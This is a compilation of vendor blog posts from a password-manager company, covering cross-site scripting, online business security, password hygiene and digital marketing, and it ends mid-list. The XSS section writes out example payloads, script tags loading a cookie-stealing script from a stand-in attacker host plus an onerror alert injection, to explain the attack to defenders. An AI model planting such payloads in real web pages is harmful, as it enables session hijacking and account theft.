See the best way to come up with a new username. We break down types of usernames and give you the best username ideas out there.

See the best way to come up with a new username. We break down types of usernames, why ...

How to Make a Good Username | Create a Unique and Secure Username

See the best way to come up with a new username. We break down types of usernames, why secure usernames are important, and how to create them effectively!

Here at <a href="https://teampassword.com/" rel="follow">TeamPassword</a> we take security very seriously, as we are the custodians of your very important password data. Password managers are one of many important ways to combat the myriad of cybersecurity attacks that are possible whenever we connect to the internet, but password managers alone cannot keep you safe. In this series we will take a look at cybersecurity through the lens of software developers and show how they keep your data safe from criminals. We will also learn how you can play your part in keeping safe by being aware of the ways in which hackers target users.
<h1>What is cross-site scripting (XSS) and how do you defend against it?</h1>
<h2>How does XSS work?&nbsp;</h2>
Cross-site scripting or XSS occurs when an attacker embeds malicious scripting commands on a trusted website. Websites that have a large amount of inputs are especially vulnerable to this kind of attack since this is how an attacker embeds the script into the website.
There are three types of XSS attacks:
&nbsp; 1. Stored/Persistent XSS
&nbsp; 2. Reflected XSS
&nbsp; 3. DOM-based XSS
Let's give each one of these a closer look!
<h3>1. Stored/Persistent XSS</h3>
This type of attack is called persistent since they remain on the server. Usually, attackers will target websites that accept user input that stays stored in their database, such as forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content.&nbsp;
For example, let's say that I have a forum website where users can write comments about different topics. The attacker might write a comment like this:
<pre class="language-undefined"><code>The weather is fantastic today! &lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
Once the attacker submits the comment, it will be stored in the website database and will be rendered for any user that opens the forum page. So, the next time a user opens the page, without them doing anything, the script in that comment will run.
Usually, the attacker will want to steal the user's session cookies. This allows the attacker to compromise the user's account, granting them access to the user's personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.
<h3>2. Reflected XSS</h3>
This type of attack occurs when an application allows reflected input.
For example, let's say the attacker finds a website where you can search for "XSS" and the website returns (or reflects) a page with the heading "You searched for XSS", followed by the search results. 
Instead of just searching "XSS" the attacker might want to search for:&nbsp;
<pre class="language-undefined"><code>&lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
thus, creating a URL like this:
<pre class="language-undefined"><code>https://insecure-website.com/search?term=&lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
But this by itself doesn't do any harm since it is not reaching any other users. Unlike with Stored/Persistent XSS, for the Reflected XSS to work, the user needs to click a link from the attacker.
So, how does the attacker get a user to click their link? Simple, it is just about embedding it in a link and sending it to other users in a seemingly harmless email or blog comment for example, and wait for someone to click. The question is, why would the user do that? Usually, the attacker will use some sort of social engineering (for example, pretexting or phishing) to manipulate the user into taking that action.
Once this link is clicked, the script will run since the website will reflect the search query (which is the malicious script).
<h3>3. DOM-based XSS</h3>
This type of attack uses the code originating from the website to execute the malicious script.
For example, let's say we have a website with 3 different tabs and it renders different images depending on the tab we click. This whole logic is driven by a script that can be checked in the DOM. So we have these URLs:
<code>https://vulnerable-website.com/frame#1</code> when we click on the first tab. It renders the image <code>&lt;img src="cloud1.jpg"&gt;</code>
<code>https://vulnerable-website.com/frame#2</code> when we click on the second tab. It renders the image <code>&lt;img src="cloud2.jpg"&gt;</code>
<code>https://vulnerable-website.com/frame#3</code> when we click on the third tab. It renders the image <code>&lt;img src="cloud3.jpg"&gt;</code>
By making use of the logic inherent to the website, the attacker can do:
<pre class="language-undefined"><code>https://vulnerable-website.com/frame#1' oneerror='alert()'</code></pre>
This causes an alert to pop up when using the link, and the attacker has just worked around the DOM of the website.
And just like in Reflected XSS, the attacker can embed the link and send it to other users in hopes they will click and the malicious code will run on their end.

<h2>How to prevent XSS attacks?</h2>
Simply enough there are two things we can do to prevent these kinds of attacks:
<h3>1. Input validation.</h3>
The best solution is to determine the type of input that the application and create an input validation that matches the input from the user to the type of input we want to allow. If we are expecting the user to input some numbers, we shouldn't allow letters in the input. We can do this in the front-end and the back-end (or in both at the same time), but if we had to choose, it is preferable to do it in the back-end since the attacker won't be able to modify the code of the application itself by normal means.
<h3>2. Be careful of the links we click.</h3>
Think twice and check URLs before clicking. This is an easy prevention on the user side. To check if a link is malicious, hover on top of the link and the browser will show the URL where this link will direct you. If the URL looks suspicious, double-check with other people in our organization or just write the website we want to go to in the browser.

<h2>Conclusion</h2>
Nowadays, cybersecurity is becoming more and more trendy. That shows just how insecure the Internet is becoming by the day. While there is just so much that we can do as end users, it is important to keep in mind the dangers lying ahead and be mindful of our behaviors online. Aside from that, it is always a good idea to rely on security oriented companies. At <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a>, we work every day so that both individual users and organizations can store and share their password data in a safe way. Join the hundreds of companies that trust us, and rest easy knowing that your data is in the right place.

XSS vulnerabilities can be hidden in plain sight. Knowing what they are and how to defend against them can keep you and your business safe.

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. ...

Cross-site scripting (XSS): what it is and defenses

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. How does XSS work? And how can you prevent it? This article will answer both questions to help protect you, your team, and your business.

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

Online businesses can be lucrative, but they come with the risk of cyberattacks, which have become routine events these days.&nbsp;

We regularly hear news about data breaches and other types of attacks using new techniques to steal customers' information and hack websites.&nbsp;Many businesses have suffered massive losses because of cybercrimes. To succeed in the e-commerce business it is essential to create a safe environment for your customers.&nbsp;

How can you ensure online business security? This article is a comprehensive guide to help you secure your online business and prevent a potential cyber-attack. Let's get started.

<h1 style="text-align: left;">Want to Secure Online Business? Follow These 8 Effective Tips</h1>
<h3 style="text-align: left;"></h3>
<h3 style="text-align: left;">Install Anti-virus Software</h3>
Virus, <a href="https://ransomware.org/">ransomware</a>, and trojan horse attacks are common. However, using anti-virus software can mitigate the risk of cyberattacks to a considerable degree.&nbsp;

Anti-virus software prevents diverse <a href="https://us.norton.com/internetsecurity-malware-types-of-malware.html">types of malware</a> from attacking your e-commerce website and other web applications. When someone tries to install a malicious program or access sensitive data, the anti-virus program will alert you and prevent them from completing the action.&nbsp;

However, not all anti-virus software is equally effective. Assess their features and benefits before subscribing to one. At a minimum, make sure the one you choose has real-time protection, scheduled scans, and automatic updates.

<h3 style="text-align: left;">Use an SSL Certificate</h3>
When you run an online business, thousands of people visit your website daily. Presumably, your customers will pay online, which increases the risk of their payment details getting exposed to criminals.&nbsp;
If your website does not have an SSL certificate, it is easier for attackers to access your customers' data. When you use an SSL certificate users' input data is encrypted on the website and then transferred in an unreadable form. This prevents hackers from deciphering the information even if they have access to it, which is essential to secure online business.&nbsp;
Using an SSL certificate makes your website more dependable, increases shoppers&rsquo; sense of security, and builds trust between you and your customers.
You can easily purchase and install a reliable single-domain or multi-domain SSL certificate for your online business from an online provider. Some, such as <a href="https://www.clickssl.net/cheapest-wildcard-ssl-certificate-for-sub-domains">Wildcard SSL Certificate</a>, offer reliable protection at comparatively lower prices.

<h3 style="text-align: left;">Ensure Everyone Uses a Strong Password</h3>
Password breach is a major threat to online business security. The majority of e-commerce employees not only access the business website regularly but also require access to numerous other web applications and sites. Many people use simple passwords like a sequence of numerals or letters, which increases the risk of hacking as criminals can crack them easily. If a cybercriminal successfully hacks an employee&rsquo;s account, they may be able to access your data and that of your customers. Requiring your employees to use strong passwords can protect your business from <a href="https://teampassword.com/blog/what-is-a-brute-force-attack-and-are-you-at-risk">brute force attacks</a>.&nbsp;
You can test the <a href="https://teampassword.com/password-generator">strength of your passwords</a> and use a <a href="https://teampassword.com/password-generator">password generator</a> to ensure that your passwords are secure. Do your employees share login details? Try TeamPassword&rsquo;s password management tool <a href="https://app.teampassword.com/dashboard?_gl=1*1pfz5ua*_gcl_aw*R0NMLjE2NTc1Njg3OTkuQ2owS0NRandsSy1XQmhEakFSSXNBTzJzRXJTUFY4LTNHdnRNT0gxY3dhYkRqWkVham43bm5IRjVTZkVqbERJWWVwMl9fdkgxT2lrdTI0MGFBcDFMRUFMd193Y0I.#signup/testimonial">free for 14-days</a>.
Many e-commerce sites require customers to create an account. This too can create vulnerabilities. Once cybercriminals create an account they are part of your online community and can potentially access sensitive data or negatively affect your credibility. To protect your business you should require everyone creating an account on your website to use a strong password. A minimum of 12 characters that combine numbers, letters, and special characters is best.

<h3 style="text-align: left;">Train Your Employees to Identify a Threat</h3>
Many organizations don't train their employees to detect cybersecurity threats.&nbsp;
Not all of your employees may be tech savvy or aware of cyber security risks. As a result, they might do something unintentionally like respond to a phishing email or download files that install malicious programs.&nbsp;
Criminals are becoming increasingly clever at finding ways to breach websites&rsquo; security in order to access sensitive data. <a href="https://teampassword.com/blog/cybersecurity-the-most-important-topic-your-team-can-learn-about-this-year">Educating your employees</a> to understand their methods in order to identify threats is essential to prevent cyberattacks and secure your online business.&nbsp;

<h3 style="text-align: left;">Scan your website regularly&nbsp;</h3>
Your website is the most crucial part of your online business as most transactions take place here. Many people visit your website for shopping, or to get information about your products. Hackers scan websites to identify ones that will be easier to exploit.&nbsp;
A little security lapse can put your website at great risk, as miscreants can access critical data or hack your website before you know they&rsquo;re there. Securing your e-commerce website plays a crucial role in online business security. A <a href="https://pentest-tools.com/website-vulnerability-scanning/website-scanner">regular scan</a> of your website helps detect vulnerabilities and bridge security gaps. This can be done internally or externally by a cybersecurity company.&nbsp;

<h3 style="text-align: left;">Have Security Policies in Place</h3>
A cybersecurity policy is essential for every organization. You need to adopt a security policy that meets the needs of your business and ensure everyone in the organization adheres to it.&nbsp;
How do you design a security policy? There are templates available online. However, hiring professional cybersecurity personnel is an excellent way to secure your online business, whether you add them to your payroll or contract with a cybersecurity provider. Cybersecurity professionals will have the ability to detect vulnerabilities in your website, make improvements, and recommend a security policy that is best suited for your business.&nbsp;
Remember that any hardware you connect to the Internet is vulnerable, not just your computer. Digital ordering tools, smart appliances, and your <a href="https://solink.com/resources/ultimate-guide-to-pos-security/" target="_blank" rel="follow noopener" class="sh-color-blue sh-color">point of sale (POS) system</a> can all be hacked. &nbsp;

<h3 style="text-align: left;">Don't Store Customer's Sensitive Information</h3>
When you run an e-commerce business, you will have access to users' personal and payment details. Storing customers' credit card information and other sensitive information in your database can be a threat to your online business&rsquo; security as it may attract cybercriminals to your site and expose you to a breach.
Instead of storing the credit card information yourself, hire a third party to manage the financial transaction. Many <a href="https://www.shopify.com/">third-party e-commerce platforms</a> provide top-of-the-line protection and are easy to implement.&nbsp;

<h3 style="text-align: left;">Backup Your Data</h3>
You can implement the best online security policies, but still, you may not be able to mitigate the risk completely. Preparing for the worst situation is a wise way to reduce the impact of a cyberattack.&nbsp;
In the event that a hacker takes over your website and other applications, you may lose some data forever. It is wise to backup both your and your customers&rsquo; critical data. Even though it won't help in preventing the attacks, backing up your data will ensure you don't lose it forever.

Conclusion:&nbsp;

Online business is a lucrative profession that allows you to sell your products or services to customers from another part of the country or even abroad. However, it involves cybersecurity threats as well.&nbsp;
To succeed in this business, you have to ensure your website, mobile application, and other online tools are secure.&nbsp;
A security breach can damage your reputation, and your competitors will exploit the opportunity. You must take measures to mitigate the risks and ensure the safety of customers' data.&nbsp;
We have discussed a few tips to help you secure online business. Implementing these will help you minimize the risk and earn your customer's trust.

Online businesses can be lucrative, but they come with the risk of cyberattacks. These simple steps will help protect your online business.

Online businesses can be lucrative, but they come with the risk of cyberattacks. How can you ensure online ...

How To Secure Your Online Business Against Cyberattacks?

Online businesses can be lucrative, but they come with the risk of cyberattacks. How can you ensure online business security? This article is a comprehensive guide to help you secure your online business and prevent a potential cyber-attack.

While the digital marketing landscape affords marketers a wealth of opportunities to reach their intended audience, it also serves to attract unscrupulous individuals &mdash; the cybercriminal. You may also call them hackers, identity thieves, or other less savory names, but one thing about them will always remain true &mdash; they will continually strive to gain unauthorized access to your private accounts. And that&rsquo;s why for a professional in the digital marketing industry, <a href="https://www.forbes.com/sites/forbescommunicationscouncil/2021/07/30/why-marketers-should-care-about-cybersecurity/?sh=384e60e2c972">cybersecurity should be of the utmost importance</a>.
<h2>Data Breaches and the Digital Marketing Industry</h2>
Professionals in the digital marketing industry utilize a number of different strategies to attract, maintain, and grow a customer base for the brands they work for. That means a lot of data and a lot of online accounts. And that means the potential for some pretty large data breaches.
Should a cybercriminal gain access to even one private account, the potential for a massive loss of data can be exponential. Not only can customer data be compromised, since many brands store consumer data in a marketing database, but private and sensitive company information can be stolen and subsequently used for nefarious purposes.
Companies of all sizes in all industries have been told by both cybersecurity experts and the United States government to ensure that they are adequately prepared to defend their networks, systems, and data from cyberthreats. But even if a company is lax in ensuring proper cybersecurity protocols are followed, digital marketers can still do their part to keep consumer and company data safe.
<h2>How the Digital Marketing Industry Can Practice Strong Cybersecurity</h2>
Companies can employ many methods to erect a strong cybersecurity defense, such as firewalls, anti-malware software, and threat monitoring. But ultimately, it is still up to each individual employed at a company, whether in-office or working remotely, to maintain their own levels of strong cybersecurity. That&rsquo;s because even the mightiest of defenses can be brought down by a single employee mistake due to a lack of proper cybersecurity knowledge.
In fact, employee negligence is responsible for over <a href="https://cybelangel.com/negligent-data-breaches/">90% of all data breaches</a>. It could simply be something as simple as using a weak password, falling victim to a phishing email, or accidentally downloading malware. Regardless, many data breaches could easily be avoided if individuals followed a few common-sense cybersecurity rules.
<h3>Keep Your Website Secure</h3>
A company website can easily fall victim to cyberattacks if not properly maintained and protected. And if a cybercriminal manages to breach one part of a website, it is usually just a matter of moments before they are able to gain access to the remainder of the site and steal a wealth of information. The data they acquire can be anything from consumer credit card information to website data and much more.
Keep websites protected with <a href="https://www.optiv.com/cybersecurity-dictionary/iga-identity-governance-and-admin">IGA</a> or <a href="https://duo.com/product/multi-factor-authentication-mfa/two-factor-authentication-2fa">2FA</a>. Additionally, utilize a web application firewall to detect and prevent many types of cyber threats.
<h3>Protect Social Media Accounts</h3>
Social media, of course, plays a very large role in digital marketing. And unfortunately, social media platforms don&rsquo;t always have the best cybersecurity to protect private accounts. To help add an extra level of cybersecurity to social media accounts, digital marketing professionals should utilize a strong, unique password for each account.
<h3>Protecting Email Accounts</h3>
Despite many obvious red flags, a study revealed that over <a href="https://smallbiztrends.com/2017/08/identify-a-phishing-attack.html">95% of employees</a> are still unable to successfully spot a phishing email. Each year, not only do phishing attacks increase, but they also become more sophisticated. Digital marketing experts must be trained in the <a href="https://consumer.ftc.gov/articles/how-recognize-and-avoid-phishing-scams">identification and detection of a phishing attack</a> so that a potential data breach can be avoided.
Additionally, email accounts must also be protected with strong, unique passwords. Account holders must also be careful to never click on a link or download an attachment provided from an untrusted source.
<h2>The Importance of Strong Passwords for Cybersecurity</h2>
As you may have realized, the use of strong, unique passwords plays a central theme in practicing good cybersecurity. That&rsquo;s because, while there are many different things that play a role in a strong cybersecurity program, unique passwords are often the first line of defense against cybercriminals. And since digital marketing experts work with a multitude of different accounts, proper password protocol is especially important.
According to Verizon&rsquo;s 2021 Data Breach Investigations Report, poor password security contributes to <a href="https://kommandotech.com/statistics/weak-password-statistics/">81% of all data breaches</a>. And, many employees still insist on using the same weak password for multiple accounts. That&rsquo;s because, understandably, people just don&rsquo;t like having to keep track of a different password for each account. But that&rsquo;s also exactly what cybercriminals rely on. And when a cybercriminal manages to acquire the password for one account, they&rsquo;ll also manage to access all your other private accounts as well.
But digital marketing experts can solve this problem by using a password manager like TeamPassword. A password manager creates a strong, unique password for each private account and stores them in a secure location only accessed by a single password. That makes it easy for digital marketers to maintain a strong password for each account without having to remember them all or write them down (another cybersecurity no-no), subsequently keeping all their accounts better protected from cybercriminals.
Whether you&rsquo;re working exclusively for one brand, providing digital marketing services for several companies, or working as part of a team, you&rsquo;ll greatly benefit from a professional password manager and stronger cybersecurity. Protect your team and your private accounts today by signing up for a TeamPassword trial free for 14-days.
&nbsp;

Digital marketers use a multitude of accounts, making proper password protocol essential. These cybersecurity rules will help keep you safe.

Poor password security contributes to 81% of all data breaches. And since digital marketing experts work with a ...

The Importance of Cybersecurity in Digital Marketing

Poor password security contributes to 81% of all data breaches. And since digital marketing experts work with a multitude of different accounts, proper password protocol isn't just important - it's essential. Many data breaches could easily be avoided if individuals followed a few of these common-sense cybersecurity rules.

Cloud computing has seen rapid adoption since 2020, with more people working remotely than ever before. One interesting study highlighted that <a href="https://www.snowsoftware.com/blog/how-new-normal-changing-cloud-usage-and-strategy">80% of IT leaders</a> had increased their overall cloud usage. However, while this technology has undoubtedly changed the way organizations operate for the greater good, this has come at a cost, with IT teams having far less control and access.

One issue many businesses are struggling with is weak passwords, and while most companies acknowledge that this is a security risk, only <a href="https://www.insightsforprofessionals.com/it/cloud/state-of-cloud-security-infographic">35% of companies</a> are concerned about the accidental exposure of credentials.

So, why should you pay close attention to password hygiene? Here are some reasons:

<ul>
<li style="font-weight: 400;" aria-level="1">&ldquo;123456&rdquo; and &ldquo;qwerty&rdquo; are still some of the most commonly used passwords worldwide and can be cracked in less than a second (<a href="https://cybernews.com/best-password-managers/most-common-passwords/">Cybernews</a>)</li>
<li style="font-weight: 400;" aria-level="1">Around 31% of users update their passwords at least 1 &ndash; 2 times a year, while only 18.5% change theirs even if they&rsquo;re notified of any security issues (<a href="https://digitalguardian.com/blog/uncovering-password-habits-are-users-password-security-habits-improving-infographic">Digital Guardian</a>)</li>
<li style="font-weight: 400;" aria-level="1">Three-quarters of Americans struggle to keep track of their credentials (<a href="https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/PasswordCheckup-HarrisPoll-InfographicFINAL.pdf">Google</a>)</li>
<li style="font-weight: 400;" aria-level="1">The FBI highlighted that $4.2 billion was lost in 2020 due to cybercrime, increasing the five-year total to $13.3 billion (<a href="https://www.ic3.gov/Media/PDF/AnnualReport/2020_IC3Report.pdf">The IC3</a>)</li>
<li style="font-weight: 400;" aria-level="1">61% of breaches involved credential data (<a href="https://www.verizon.com/business/resources/reports/2021-data-breach-investigations-report.pdfx">Verizon</a>)</li>
<li style="font-weight: 400;" aria-level="1">55% of IT security practitioners don&rsquo;t utilize 2FA in the workplace (<a href="https://dataprot.net/statistics/password-statistics/">Dataprot</a>)&nbsp;</li>
</ul>

<h2>How do cybercriminals steal passwords?</h2>

Hackers are more motivated than ever and will do whatever it takes to get their hands on your money. <a href="https://www.verizon.com/business/resources/reports/2021-data-breach-investigations-report.pdfx">Verizon&rsquo;s 2021 Data Breach Investigations Report</a> shows that SMBs with less than 1,000 employees recorded 1,037 incidents and 93% of such breaches were financially motivated.&nbsp;

So, <a href="https://teampassword.com/blog/five-most-common-password-attacks">what techniques do cybercriminals use</a> to compromise users&rsquo; passwords?&nbsp;

<h3>Social engineering</h3>
This involves threat actors preying on vulnerable employees and psychologically manipulating them into sharing confidential data. One of the most popular social engineering methods used by hackers is phishing.&nbsp;


<h3>Brute force attacks</h3>
From a hacker&rsquo;s perspective, brute force attacks are easy to launch and don&rsquo;t require a lot of effort. Criminals typically use trial and error tactics to decipher passwords or PINs through automated tools that test a large number of password combinations. These tools can crack weak passwords in a matter of minutes.


<h3>Dictionary attacks</h3>
Dictionary attacks &ndash; a type of brute force tactic &ndash; involve inputting commonly used words or phrases as a password, but they aren&rsquo;t strictly limited to a wordlist. Instead, they can also include names of people you know or a sports team you support. These are based on information easily found online through online profiles

However, this method isn&rsquo;t as successful against passwords containing numbers, symbols, and a mixture of lowercase and uppercase letters.&nbsp;


<h3>Credential stuffing attacks</h3>
Bad actors typically purchase lists of leaked usernames and passwords and feed these into a botnet, which attempts several logins across multiple websites in one attempt.&nbsp;

With more than <a href="https://www.forbes.com/sites/daveywinder/2020/07/08/new-dark-web-audit-reveals-15-billion-stolen-logins-from-100000-breaches-passwords-hackers-cybercrime/">15 billion login credentials from 100,000 breaches</a> circulating on the dark web, it&rsquo;s not surprising that credential stuffing attacks have grown in popularity among cybercriminals. <a href="https://www.helpnetsecurity.com/2021/05/20/financial-services-credential-stuffing/">Research from Help Net Security</a> detected some 193 billion credential stuffing attacks worldwide in 2020, with the financial services industry, in particular, suffering the most and reporting around 3.4 billion incidents &ndash; an increase of 45% YoY in the sector.
<a href="https://www.google.com/search?q=Secty%2B+course&amp;rlz=1C5CHFA_enGB975GB976&amp;ei=NGy0YpeFGNLqgQbx_afIBg&amp;ved=0ahUKEwiX78nA2MP4AhVSdcAKHfH-CWkQ4dUDCA4&amp;uact=5&amp;oq=Secty%2B+course&amp;gs_lcp=Cgdnd3Mtd2l6EAMyBAgAEA0yBAgAEA0yBAgAEA0yBAgAEA0yBAgAEA0yBAgAEA0yBAgAEA0yBggAEB4QDTIGCAAQHhANMgYIABAeEA06BwgAEEcQsAM6BggAEB4QFjoJCAAQHhDJAxAWOgUIABCSA0oECEEYAEoECEYYAFClCFjPC2DXDGgCcAF4AIAB3wGIAaIGkgEFMS4yLjKYAQCgAQHIAQjAAQE&amp;sclient=gws-wiz" rel="follow"><img src="https://cdn.buttercms.com/daJiCLeTOe3gnOFxJXPw" alt="undefined" width="560" height="400" style="font-family: sans-serif;" /></a>
Image Credit: <a href="http://&lt;a href=&quot;https//www.freepik.com/vectors/safe-internet&quot;&gt;Safe internet vector created by jcomp - www.freepik.com&lt;/a&gt;" rel="nofollow noopener" target="_blank">freepik.com</a>
<h2>How to enforce strong password hygiene</h2>
To protect your accounts and organization against cyberattacks, you and your employees need to practice good password hygiene. Consider adopting these tips below:&nbsp;

<h3>1. Encourage employees not to reuse passwords&nbsp;</h3>
In 2019, <a href="https://www.forbes.com/sites/daveywinder/2019/12/06/microsoft-finds-password-security-problem-affecting-44-million-users/">Microsoft&rsquo;s threat research team</a> analyzed a database that contained 3 billion breached login credentials and identified 44 million Microsoft users who had reused the same passwords.

Therefore, it&rsquo;s essential employees don&rsquo;t reuse the same password across multiple accounts &ndash; no matter how complex it is &ndash; because if one account is compromised, the rest are at risk too.&nbsp;


<h3>2. Create a unique password for every account</h3>
A crucial part of password hygiene is making sure you and your employees create a unique passcode for every account. Don&rsquo;t use words or phrases found in the dictionary or online, and avoid any sequences such as 123 or 2468.

Consider creating memorable passphrases that contain a minimum of 12 characters and a mixed combination of lowercase and uppercase letters, symbols, and numbers.&nbsp;

For instance, let&rsquo;s hypothetically say you&rsquo;re a Liverpool supporter and you watched your side thump Manchester United 5-0 at Old Trafford back in October 2021.&nbsp;

Something like &lsquo;Liverpool FC beat Manchester United at Old Trafford in October 2021&rsquo; could translate to lFc_Bmu@oTi1021.

Not only is this passphrase complex and more memorable, but it&rsquo;s also extremely difficult for bad actors to crack, which can significantly reduce the risk of a breach.&nbsp;

However, depending on the number of accounts you possess, manually updating every single password may not always be feasible, so it&rsquo;s worth using a <a href="https://teampassword.com/password-generator">password generator tool</a> to protect your data.


<h3>3. Get into the habit of reviewing and updating passwords</h3>
Most security experts recommend <a href="https://www.businessinsider.com/how-often-should-i-change-my-password?r=US&amp;IR=T">changing your password every few months</a>, particularly if your accounts have been compromised without you realizing it.

To achieve this, you need to develop a strong security culture. Make sure you provide regular security awareness training and educate your employees about password security. In doing so, they&rsquo;ll know what&rsquo;s expected of them, and you&rsquo;ll significantly reduce the likelihood of someone creating a weak password and exposing your business to bad actors.


<h3>4. Deploy multi-factor authentication (MFA)</h3>
Whatever industry you&rsquo;re in, multi-factor authentication is arguably one of the most important security tools out there, and it can better protect your passwords from cybercriminals.

MFA strengthens the login process by requesting users to provide three pieces of information. For instance, you may be asked to provide a password, an SMS code, and a photo of yourself to verify your identity.

Considering that most people reuse the same passwords, not only will MFA stop cybercriminals from accessing their accounts, but it&rsquo;ll significantly reduce the likelihood of a security breach.&nbsp;


<h3>5. Use a password manager</h3>
Let&rsquo;s face it: our memory isn&rsquo;t perfect. That&rsquo;s why most of us use memorable phrases or words as our passwords and make a note of them. Sadly, neither of these are good practice and can do more harm than good.

With employees already<a href="https://dataprot.net/statistics/password-statistics/"> spending around 12.6 minutes per week inputting or resetting passwords</a>, according to Ponemon Institute, simplifying password management is more important than ever for security and productivity, especially in the era of remote/hybrid work.

Here are a few reasons why you should adopt a password manager to strengthen your password hygiene:
<ul>
<li style="font-weight: 400;" aria-level="1">Password managers allow users to securely generate, manage and store complex passwords.</li>
<li style="font-weight: 400;" aria-level="1">Login credentials are stored in an encrypted vault and adhere to the strongest encryption standards (AES 256-bit), meaning hackers won&rsquo;t be able to get through your defenses with brute-force techniques.</li>
<li style="font-weight: 400;" aria-level="1">Some vendors provide dark web monitoring features that highlight whether your login details have been breached.</li>
</ul>

<h2>Final thoughts</h2>
Simply relying on employees to create unique and complex passwords isn&rsquo;t enough in today&rsquo;s cybersecurity world. Instead, IT leaders must educate and encourage the workforce to practice good password hygiene. By adopting the above five actions as part of your security strategy, you&rsquo;ll strengthen your defenses and ultimately prevent cybercriminals from gaining unauthorized access to your accounts.

From a security perspective, one weak password can weaken your defenses. Practice these good password hygiene tips to keep your team safe.

Despite much awareness, employees are still using easy-to-remember passwords, and to make matters worse, they’re also reusing them ...

5 Password Hygiene Tips to Stop Cybercriminals

Despite much awareness, employees are still using easy-to-remember passwords, and to make matters worse, they’re also reusing them across their personal and corporate accounts. Therefore, practicing good password hygiene is key in the fight against cybercriminals.

Digital marketing is a highly dynamic field where techniques and trends evolve quickly. As you build a digital marketing strategy that&rsquo;s comprehensive and effective, it&rsquo;s important to consider a range of tactics to discover what works for your brand.&nbsp;

After all, digital marketing has grown in importance in recent years, taking up <a href="https://www.gartner.com/en/marketing/research/annual-cmo-spend-survey-research" rel="follow noopener" target="_blank">72% of marketing budgets today</a>. Here are some insider tips and techniques to take your digital marketing the extra mile. Remember that every company is unique, so be sure to tailor these ideas to your own brand&rsquo;s needs and audience.
<img src="https://cdn.buttercms.com/GbZembBTQyxVSBPNFCAJ" alt="undefined" width="645" height="430" />
Source: <a href="https://www.freepik.com/free-vector/office-concept-illustration_6610842.htm#page=2&amp;position=5&amp;from_view=author" rel="follow noopener" target="_blank">Freepik</a>
<h1>11 tips to take your digital marketing strategy to the next level</h1>
Let&rsquo;s walk you through some of our favorite digital marketing strategies so you have some new tricks up your sleeve for this year&rsquo;s campaigns.&nbsp;

<h2>1. Aim for your content to be share-worthy</h2>
Never produce content just for the sake of it. Everything you make should pass the &ldquo;share-worthy&rdquo; test, so you&rsquo;re actually adding value for your potential customers.&nbsp;

Consider generating top-notch content such as in-depth blogs, podcasts, webinars, white papers, educational materials, and more. You might even team up with an expert to achieve higher quality in your digital materials. Ask yourself, &ldquo;Would I share this?&rdquo; If the answer is no, try to create something you would. If you won&rsquo;t, why would anyone else?
<h2>2. Leverage multi-channel campaigns</h2>
We live in the age of endless options &ndash; and digital marketing channels are no different. It&rsquo;s important to manage multi-channel campaigns since customers check several mediums before trusting a brand. Create campaigns that work across email, mobile, social media, paid search, direct mail, radio/TV, etc. in order to break through the noise of marketing today.

For example, you can work with email marketing companies to create a summer newsletter email campaign that is timed with a social media push, themed landing pages, and radio ads, in order to elevate the potential of your campaign.

You can integrate traditional marketing with digital and also complement your digital campaigns by sending flyers, catalogs, and other printed materials to your customers through direct mail. This is an extremely powerful combination. Print <a href="https://cash4toners.com/info/2019/02/10/why-print-matters/" rel="follow noopener" target="_blank">works</a>!

<h2>3. Hire a visuals guru</h2>

It only takes a second for potential customers to form an opinion about your website. Images and design play a key role in ensuring an enthusiastic first impression.

If you don't already have one, partner with a visuals guru (i.e. <a href="https://teampassword.com/blog/first-5-marketing-roles-for-your-small-business-what-roles-do-you-need-to-hire" rel="follow noopener" target="_blank">a graphics designer</a>) who can boost your images, infographics, web design, and <a href="https://www.webnode.com/blog/video-marketing-the-marketers-guide/" rel="follow noopener" target="_blank">video marketing</a> for all your assets.

<h2>4. Personalize at every opportunity&nbsp;&nbsp;</h2>
With the <a href="https://teampassword.com/blog/should-i-share-data-with-freelancers" rel="follow noopener" target="_blank">customer data</a> available today, companies have a huge opportunity to target their content. It&rsquo;s vital to learn how to personalize certain types of content, offers, and recommendations according to your business&rsquo; audience. This way, you&rsquo;ll be able to personalize the journey for each unique segment of customers with greater success.

For example, you can edit your website so that it has several different landing pages for different segments, and then push these pages through unique social media posts.&nbsp;

<h2>5. Test all content in a mobile environment</h2>
Your digital marketing should be mobile-first, as the majority of users are connecting on their mobile devices. Be sure to check all content on a mobile testing platform and work with developers to get a high-performing site on mobile.&nbsp;

Pro tip: Get <a href="https://support.google.com/google-ads/answer/7496737?hl=en" rel="follow noopener" target="_blank">Accelerated Mobile Pages (AMP)</a> for your website in order to optimize for mobile browsing, speed up load time and increase your Google ranking. 
<h2>6. Optimize your buyer journey</h2>
<img src="https://cdn.buttercms.com/d8Y1sW4xRiKX8FMGmWRU" alt="undefined" width="500" height="500" />
<a href="https://www.freepik.com/free-vector/journey-concept-illustration_10946454.htm#query=journey&amp;position=2&amp;from_view=search" rel="follow noopener" target="_blank">Source: Freepik</a>

Understanding the buyer's journey is also essential for long-term digital marketing. You should regularly be analyzing user behavior on your website through Google Analytics and tools like Crazy Eggs to understand how customers land on your shopping page.&nbsp;

With this behavioral data, you can optimize your digital marketing campaigns in order to create smoother flows to these pages. 
<h2>7. Don&rsquo;t forget about local SEO</h2>
The majority of digital marketers know how to improve SEO, but one area that&rsquo;s often overlooked is local SEO.

It&rsquo;s important to hook your local audiences with tailored keywords that use location words, events, and searches. Local SEO gets some of the best results, so be sure to incorporate it into your digital marketing strategy.

<h2>8. Go beyond SEO by tracking reach</h2>
As you listen to the customer and find out what&rsquo;s working, always track reach. This will give you a sense of what types of content and messaging are more powerful.&nbsp;

This will include reaching metrics such as engagements per month (viewed, liked, shared, downloads, open rates, etc.), 10 highest ranked content pieces by engagement and shares, month-over-month engagement metrics, etc.
<h2>9. Achieve tried-and-true customer service</h2>
